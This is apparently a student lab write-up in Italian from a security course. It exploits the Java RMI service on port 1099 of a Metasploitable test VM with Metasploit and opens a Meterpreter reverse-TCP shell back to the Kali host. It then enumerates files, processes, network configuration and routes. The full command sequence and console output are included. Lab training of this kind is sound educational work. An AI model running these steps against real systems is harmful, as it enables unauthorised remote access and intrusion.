

W16D4 - M4

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: **192.168.11.111**
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: **192.168.11.112**
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete; 2) informazioni sulla tabella di routing della macchina vittima 3) altro...

• Porta 1099 Java RMI:

Sulla porta 1099 TCP della nostra Metasploitable è attivo un servizio Java-RMI, che è una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete. La vulnerabilità in questione è dovuta ad una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target.

Soluzione

- Per i primi step andiamo a modificare gli IP Address delle nostre macchine : Kali e Metasploitable come mostrato in figura .

Kali : 192.168.11.111

Meta : 192.168.11.112

- Possiamo utilizzare per entrambi in questo caso attraverso il root di entrambi il comando :
if config eth0 <IpAddress> .

- Successivamente da Kali pinghiamo la macchina di Metasploitable per accertarci che le macchine siano comunicanti e perfettamente funzionanti .

```
root@kali: ~  
File Actions Edit View Help  
(root@kali)-[~]  
# ifconfig eth0 192.168.11.111  
  
(root@kali)-[~]  
# ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255  
    inet6 fe80::3f04:bb2a:34df:ca12 prefixlen 64 scopeid 0x20<link>  
    ether 08:00:27:cb:7e:f5 txqueuelen 1000 (Ethernet)  
    RX packets 1494 bytes 95376 (93.1 KiB)  
    RX errors 0 dropped 1388 overruns 0 frame 0  
    TX packets 27 bytes 3124 (3.0 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
root@metasploitable:/home/msfadmin# ifconfig eth0 192.168.11.112  
root@metasploitable:/home/msfadmin# ifconfig  
eth0      Link encap:Ethernet  HWaddr 08:00:27:2e:bc:0b  
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0  
          inet6 addr: fe80::a00:27ff:fe2e:bc0b/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
```

```
(kali@kali)-[~]  
$ ping 192.168.11.112  
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.  
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=1.07 ms  
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.447 ms  
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.498 ms  
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.540 ms
```

- Utilizziamo il comando **msfconsole** per avviare Metasploit . Dopo il suo avvio digitiamo : **search java_rmi** per cercare l'exploit della vulnerabilità .

```
(kali㉿kali)-[~]
$ msfconsole

=[ metasploit v6.3.27-dev ]
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post ]
+ -- --=[ 1385 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Use sessions -1 to interact with the
last opened session
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search java_rmi
```

- Ottenuti i moduli utilizziamo il modulo 1 . Attraverso il comando **use 1**

```
Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -  -                                     -            -      -      -
0  auxiliary/gather/java_rmi_registry      2011-10-15      normal  No      Java RMI Registry In
terfaces Enumeration
1  exploit/multi/misc/java_rmi_server      2011-10-15      excellent Yes    Java RMI Server Inse
cure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server  2011-10-15      normal  No      Java RMI Server Inse
cure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connec  2010-03-31      excellent No      Java RMIConnectionIm
pl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_conn
ection_impl

msf6 > use 1
```

- Utilizziamo il comando **show options** per mostrare le opzioni di base del payload di default .
- Il modulo ci indica che bisogna settare l'IP del **RHOSTS** e lo faremo utilizzando il comando **set RHOSTS <IPAddress>** .
- Attraverso il comando **exploit** lanceremo l'attacco e si aprirà una sessione di meterpreter attraverso la quale potremmo verificare se il nostro attacco ha avuto successo o meno .

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

"the quieter you become, the more you are able to hear"

Exploit target:

Id  Name
--  --
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/uvFsbLosRVG
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:38526) at 2024-04-02 06:55:07 -0400

meterpreter >

```

```
meterpreter > ls
Listing: /
```

Mode	Size	Type	Last modified	Name
040666/rw-rw-rw-	4096	dir	2012-05-13 23:35:33 -0400	bin
040666/rw-rw-rw-	1024	dir	2012-05-13 23:36:28 -0400	boot
040666/rw-rw-rw-	4096	dir	2010-03-16 18:55:51 -0400	cdrom
040666/rw-rw-rw-	13540	dir	2024-04-02 06:47:51 -0400	dev
040666/rw-rw-rw-	4096	dir	2024-04-02 06:47:55 -0400	etc
040666/rw-rw-rw-	4096	dir	2010-04-16 02:16:02 -0400	home
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:40 -0400	initrd
100666/rw-rw-rw-	7929183	fil	2012-05-13 23:35:56 -0400	initrd.img
040666/rw-rw-rw-	4096	dir	2012-05-13 23:35:22 -0400	lib
040666/rw-rw-rw-	16384	dir	2010-03-16 18:55:15 -0400	lost+found
040666/rw-rw-rw-	4096	dir	2010-03-16 18:55:52 -0400	media
040666/rw-rw-rw-	4096	dir	2010-04-28 16:16:56 -0400	mnt
100666/rw-rw-rw-	41150	fil	2024-04-02 06:47:55 -0400	nohup.out
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:39 -0400	opt
040666/rw-rw-rw-	0	dir	2024-04-02 06:47:43 -0400	proc
040666/rw-rw-rw-	4096	dir	2024-04-02 06:47:55 -0400	root
040666/rw-rw-rw-	4096	dir	2012-05-13 21:54:53 -0400	sbin
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:38 -0400	srv
040666/rw-rw-rw-	0	dir	2024-04-02 06:47:43 -0400	sys
040666/rw-rw-rw-	4096	dir	2024-04-02 06:55:09 -0400	tmp
040666/rw-rw-rw-	4096	dir	2010-04-28 00:06:37 -0400	usr
040666/rw-rw-rw-	4096	dir	2010-03-17 10:08:23 -0400	var
100666/rw-rw-rw-	1987288	fil	2008-04-10 12:55:41 -0400	vmlinuz

```
meterpreter > ps
```

Process List

PID	Name	User	Path
1	/sbin/init	root	/sbin/init
2	[kthreadd]	root	[kthreadd]
3	[migration/0]	root	[migration/0]
4	[ksoftirqd/0]	root	[ksoftirqd/0]
5	[watchdog/0]	root	[watchdog/0]
6	[events/0]	root	[events/0]
7	[khelper]	root	[khelper]
41	[kblockd/0]	root	[kblockd/0]
44	[kacpid]	root	[kacpid]

```
meterpreter > ifconfig
```

Interface 1

```
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

Interface 2

```
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe2e:bc0b
IPv6 Netmask : ::
```

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```
meterpreter > sysinfo
```

```
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
```

- Infine utilizziamo i comandi mostrati nelle immagini per raccogliere informazioni sulla macchina .

ls : Mostra le directory. **route** : Mostra la tabbella di routing.

sys info : Info del sistema. **ifconfig** : Mostra la configurazione di rete

ps : Lista di processi .